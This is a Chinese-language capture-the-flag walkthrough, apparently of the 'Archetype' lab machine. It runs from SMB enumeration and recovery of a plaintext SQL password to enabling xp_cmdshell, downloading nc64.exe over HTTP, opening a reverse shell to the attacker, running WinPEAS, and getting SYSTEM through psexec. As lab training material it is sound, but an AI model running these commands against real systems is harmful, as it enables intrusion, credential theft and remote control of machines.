在進行滲透測試時,初步偵查能夠揭露目標系統的潛在弱點。本次分析中,我們發現目標伺服器開放了 SMB(Server Message Block)服務於 445 或 139 端口,並於 1433 端口運行 Microsoft SQL Server 2017
nmap -sC {TARGET_IP}
掃描結果確認了這些服務的可用性。
smbclient
列舉 SMB 共享資源smbclient -N -L \\\\{TARGET_IP}\\
參數說明:
-N
:不輸入密碼。-L
:列出目標伺服器上的共享資源。$
符號的意義在 SMB 共享列表中,帶有 $
符號的名稱表示這些是隱藏共享(Hidden Shares)。這類共享通常不會在一般的共享列表中顯示,僅有具備適當權限的使用者才能存取。例如:
ADMIN$
:Windows 預設的管理員共享,對應於 C:\Windows
目錄。C$
:Windows 預設的磁碟分割區共享(C 槽)。IPC$
:用於跨進程通訊的共享,允許網路上的應用程式存取特定的 Windows 服務。在 Linux 環境中,反斜線 \
是跳脫字符(escape character),因此要正確表達 Windows 的 UNC 路徑,必須使用雙反斜線。例如:
\\192.168.1.100\Shared
\\\\192.168.1.100\\Shared
這是因為 Linux 會將單一反斜線視為跳脫符,因此必須使用雙反斜線來正確解析 UNC 路徑。
backups
共享資源smbclient -N \\\\{TARGET_IP}\\backups
成功存取後,下載 prod.dtsConfig
檔案:
get prod.dtsConfig
在 prod.dtsConfig
配置文件中,發現 SQL Server 使用者 sql_svc
的明文密碼。
Impacket 工具包含 mssqlclient.py
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install . --少這行後續SQL指令不會有Output
mssqlclient.py
進行身份驗證並存取 SQL Serverpython3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
成功登入後,即可執行 SQL 查詢與系統命令。
xp_cmdshell
以執行系統命令EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
xp_cmdshell
允許透過 SQL Server 執行 Windows 命令,需謹慎使用,避免潛在的安全風險。
nc64.exe
到受害主機於本機下載 nc64.exe
下載 nc64.exe
於攻擊機啟動 HTTP 伺服器
sudo python3 -m http.server 80
於受害機下載 nc64.exe
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://{攻擊機IP}/nc64.exe -outfile nc64.exe"
於攻擊機開啟監聽
sudo nc -nlvp 443
於受害機執行 Reverse Shell
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe {攻擊機IP} 443"
WinPEAS.exe
到受害主機powershell wget http://{攻擊機IP}/winPEASx64.exe -outfile winPEASx64.exe"
.\winPEASx64.exe
根據掃描結果,在C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
找到administrator的密碼
python3 psexec.py administrator@{TARGET_IP}
成功取得最高權限(SYSTEM)。
user.txt
type C:\Users\sql_svc\Desktop\user.txt
root.txt
type C:\Users\Administrator\Desktop\root.txt